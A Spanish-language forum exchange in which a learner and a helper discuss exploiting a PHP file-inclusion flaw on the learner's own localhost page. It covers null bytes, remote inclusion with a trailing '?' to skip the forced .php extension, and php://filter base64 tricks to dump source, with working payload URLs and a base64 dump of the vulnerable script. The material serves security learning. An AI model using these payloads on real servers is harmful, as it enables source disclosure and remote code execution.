Hola
T. Collins,
Con allow_url_include no puedes usar %00, pero sí poner urls y ejecutar php ajeno, así es fácil ver archivo.txt En que caso puedo utilizar el famoso null byte? o esta fixeado desde la versión PHP 5.3.4 como dice
Shell Root, esta ya obsoleto o no? Respecto a lo de ver el fichero.txt no se si te refieres a poner -->
http://localhost/r/text.txt pero eso no es ejecutarlo directamente sin pasar por el include?
Si tienes algún problema con el .php del final, con poner un ?, el resto se ignora:
http://ejemplo.com/ejemplo.txt? quedaría http://ejemplo.com/ejemplo.txt?.php y se ejecuta el código que hay en ejemplo.txtEl ejemplo que me das no lo consigo realizar ya que no entiendo como saltarse la extensión que fuerzo en el include --> include($_GET['pagina']."
.php");
Lo intento de la siguiente manera sin éxito:
http://localhost/r/r.php?pagina=text.txt?Con php://filter puedes ver el código de los php en el servidor y buscar otra vulnerabilidad que te deje ver archivo.txt
php://filter/convert.base64-encode/resource=index quedaría php://filter/convert.base64-encode/resource=index.php por lo que no puedes ver el .txt directamente, pero sí los .php.Este ejemplo que me pones no lo conocía y me ha venido bien saber de esto:
http://localhost/r/r.php?pagina=php://filter/convert.base64-encode/resource=rCon lo que me da una ristra de caracteres:
PD9waHANCg0KICAgIC8qDQogICAgLy9BYnJpbW9zIGVsIGZpY2hlcm8geSBlc2NyaWJpbW9zIGVuIGVsIFhTUw0KICAgICRmcCA9IGZvcGVuKCJmaWNoZXJvLnR4dCIsICJ3Iik7DQogICAgZnB1dHMoJGZwLCAiPHNjcmlwdD5hbGVydCgnVnVsbmVyYWJsZSBhIFhTUycpOzwvc2NyaXB0PiIpOw0KICAgIGZjbG9zZSgkZnApOw0KICAgICovDQogIA0KICAgIGlmKGlzc2V0KCRfR0VUWydwYWdpbmEnXSkpew0KICAgICAgICBpbmNsdWRlKCRfR0VUWydwYWdpbmEnXS4iLnBocCIpOw0KDQogICAgICAgIGVjaG8gIjxicj48YnI
Y al decodificarlos en Base64 me proporciona la el código fuente de la página. Esto me permite realizarlo con cualquier fichero .php(sin añadir la extensión) del proyecto.
Eso es lo te referías?
Espero su respuesta, un saludo!
